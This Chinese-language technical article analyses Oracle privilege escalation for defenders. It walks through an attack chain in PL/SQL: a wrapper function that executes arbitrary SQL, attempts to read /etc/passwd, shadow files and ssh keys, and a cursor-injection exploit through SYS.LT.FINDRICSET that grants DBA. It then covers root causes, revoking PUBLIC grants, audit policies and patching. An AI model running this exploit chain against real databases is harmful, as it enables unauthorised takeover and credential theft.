首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

Oracle 權限提升攻擊技術分析:從 SQL 注入到 DBA 權限獲取的防禦視角復盤

     編輯:Oracle 資料庫基礎

⚠️ 重要聲明

本文僅供安全研究人員、DBA、滲透測試授權人員理解攻擊向量、建立防禦體系之用。未經授權對目標系統實施以下操作屬於違法犯罪行為。所有演示代碼均在隔離測試環境中驗證,嚴禁用於生產環境攻擊。

一、 攻擊鏈復盤:從低權限會話到 DBA

假設攻擊者已獲得普通用戶 SQL*Plus 連接 (非 DBA),目標:提升至 DBA 權限。

階段 1:探測可用特權包

-- 檢查可執行的危險包
SELECT owner, object_name FROM all_objects 
WHERE object_type IN ('PACKAGE','PROCEDURE','FUNCTION')
  AND owner IN ('SYS','CTXSYS','MDSYS','ORDSYS','LBACSYS','DVSYS')
  AND object_name LIKE '%EXPORT%' OR object_name LIKE '%JAVA%' OR object_name LIKE '%FILE%';
-- 關注:DBMS_EXPORT_EXTENSION, DBMS_JAVA, UTL_FILE, UTL_HTTP, DBMS_SQL, LT

階段 2:利用 CREATE PROCEDURE 權限植入代碼 (核心跳板)

-- 1. 創建「任意 SQL 執行」包裝函數 (需 CREATE PROCEDURE 權限)
CREATE OR REPLACE FUNCTION linx_exec (p_sql VARCHAR2) RETURN NUMBER
  AUTHID CURRENT_USER  -- 關鍵:以調用者權限執行,繞過定義者權限限制
IS
BEGIN
  EXECUTE IMMEDIATE p_sql;
  RETURN 1;
END;
/

-- 2. 嘗試 Java 提權 (若 JVM 已安裝且授權)
-- CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "LinxUtil" AS ... (省略)
-- 失敗原因:目標環境禁用 Java / 無 CREATE JAVA 權限 / 安全管理器阻擋

階段 3:UTL_FILE 讀取敏感文件 (需 CREATE DIRECTORY 權限)

-- 1. 嘗試創建目錄對象映射 /etc (需 CREATE ANY DIRECTORY 權限,通常無)
-- CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc'; -- 失敗

-- 2. 繞過:利用現有目錄對象 (如 DATA_PUMP_DIR)
SELECT * FROM all_directories; -- 找到可寫目錄
-- 讀取 /etc/passwd (若目錄指向父目錄或有符號鏈接)
-- 通常失敗:目錄權限隔離、無 CREATE ANY DIRECTORY

階段 4:游標注入 (Cursor Injection) — 經典提權漏洞 (CVE-2006-5388 等)

利用 `DBMS_SQL` 動態游標 + `SYS.LT.FINDRICSET` (或其他有漏洞的 SYS 包) 的 SQL 注入缺陷,在 SYS 權限上下文執行 `GRANT DBA`。

DECLARE
  myc NUMBER;
BEGIN
  myc := DBMS_SQL.OPEN_CURSOR;
  -- 構造注入載荷:自主事務 + GRANT DBA
  DBMS_SQL.PARSE(myc, 
    'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO current_user''; COMMIT; END;', 
    DBMS_SQL.NATIVE);
  -- 觸發漏洞包執行游標 (SYS.LT.FINDRICSET 歷史漏洞,現代版本已修補)
  SYS.LT.FINDRICSET('' || DBMS_SQL.EXECUTE(myc) || ''', 'x'); 
  DBMS_SQL.CLOSE_CURSOR(myc);
EXCEPTION WHEN OTHERS THEN NULL;
END;
/

現代防禦狀態: Oracle 10.2.0.5+/11.2.0.3+/12c+ 已修補 `LT.FINDRICSET` 等已知游標注入漏洞。`DBMS_SQL` 現在強制檢查游標所有權,防止跨權限執行。

階段 5:成功獲取 DBA 後的後續利用

-- 重新連接驗證
CONN current_user/password
SELECT * FROM session_privs WHERE privilege='DBA'; -- 應返回 DBA

-- 讀取敏感文件 (已有 CREATE ANY DIRECTORY)
CREATE OR REPLACE DIRECTORY ETC_DIR AS '/etc';
-- 使用 UTL_FILE 讀取 passwd, shadow, ssh keys...

二、 核心漏洞成因分析

漏洞點根因影響版本修補方案
游標注入 (SYS.LT.* / SYS.DBMS_*) SYS 包使用 `DBMS_SQL` 動態執行用戶可控游標,未驗證游標來源/權限 10gR1/R2, 11gR1 早期 CPU 补丁修補包代碼;升級至 11.2.0.4/12.1.0.2+
AUTHID CURRENT_USER 函數濫用 普通用戶創建函數以調用者權限執行動態 SQL,配合漏洞包繞過定義者權限檢查 所有版本 (特性非漏洞) 嚴格控制 `CREATE PROCEDURE` 權限;審計動態 SQL 執行
UTL_FILE / UTL_HTTP / DBMS_JAVA 文件/網絡訪問 包授予操作系統級訪問能力,若 PUBLIC 有執行權限則可濫用 所有版本 撤銷 PUBLIC 執行權限;`DBMS_JAVA.GRANT_PERMISSION` 精細授權;防火牆隔離
CREATE ANY DIRECTORY / DROP ANY DIRECTORY 允許映射任意操作系統路徑,導致任意文件讀寫 所有版本 極嚴格控制,僅 DBA 持有;審計目錄創建

三、 纵深防禦體系建設指南

1. 最小權限原則 (Least Privilege)

  • 撤銷 PUBLIC 默認權限: `REVOKE EXECUTE ON UTL_FILE FROM PUBLIC;` `REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC;` `REVOKE EXECUTE ON DBMS_JAVA FROM PUBLIC;` `REVOKE EXECUTE ON DBMS_LOB FROM PUBLIC;` (視業務需要保留)。
  • 角色而非直接授權: 創建 `APP_READ_ONLY`、`APP_READ_WRITE` 角色,授予角色而非系統權限。
  • 禁用非必要特權: `CREATE ANY DIRECTORY`、`CREATE ANY LIBRARY`、`ALTER SYSTEM`、`ALTER DATABASE` 僅限核心 DBA 賬號。

2. 審計與監控

-- 統一審計策略 (12c+ Unified Auditing)
CREATE AUDIT POLICY dangerous_actions
  ACTIONS CREATE PROCEDURE, CREATE JAVA, CREATE DIRECTORY, GRANT, ALTER USER;
AUDIT POLICY dangerous_actions BY SYS, SYSTEM, DBA_ROLE;

-- 關鍵包執行審計
AUDIT EXECUTE ON SYS.DBMS_SQL BY ACCESS;
AUDIT EXECUTE ON SYS.LT BY ACCESS;
AUDIT EXECUTE ON SYS.UTL_FILE BY ACCESS;

3. 补丁管理鐵律

  • 訂閱 Oracle Critical Patch Update (CPU) 通知,每季度評估適用性。
  • 優先修補 `DBMS_SQL`、`LT`、`DBMS_JAVA`、`UTL_FILE` 相關漏洞 (CVSS ≥ 7.0)。
  • 測試環境驗證补丁無業務回歸後,納入生產變更窗口。

4. 網絡與文件系統隔離

  • 數據庫服務器**禁用出站互聯網訪問** (阻斷 `UTL_HTTP` 數據外洩/C2 通訊)。
  • 操作系統層面:`oracle` 用戶僅讀 `$ORACLE_HOME`、數據文件目錄,**無權讀取 `/etc/shadow`、`/root/.ssh` 等敏感路徑**。
  • 啟用 SELinux/AppArmor 強制訪問控制 (MAC),限制 `oracle_t` 域文件讀寫範圍。

5. 定期滲透測試與代碼審計

  • 年度授權滲透測試,重點測試權限提升路徑。
  • 應用代碼靜態分析 (SAST) 掃描 SQL 注入、動態 SQL 拼接風險。
  • 數據庫配置基線掃描 (CIS Oracle Benchmark、Oracle Database Security Assessment Tool - DBSAT)。

四、 總結

權限提升攻擊鏈的核心在於:**低權限用戶獲得「任意代碼執行」或「任意文件讀寫」原語,再結合內核漏洞/配置缺陷橫向提權**。現代 Oracle 版本 (19c/21c/23c) 通過补丁修補已知游標注入、加強 `DBMS_SQL` 遊標所有權檢查、默認收緊 PUBLIC 權限、引入統一審計、支援 PDB 鎖定模式等,**顯著提高了攻擊門檻**。但**配置不當 (過度授權)、未打补丁、應用層 SQL 注入**仍是主要風險來源。防禦核心:**最小權限 + 及時補丁 + 全審計 + 網絡隔離 + 定期實戰演練**。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved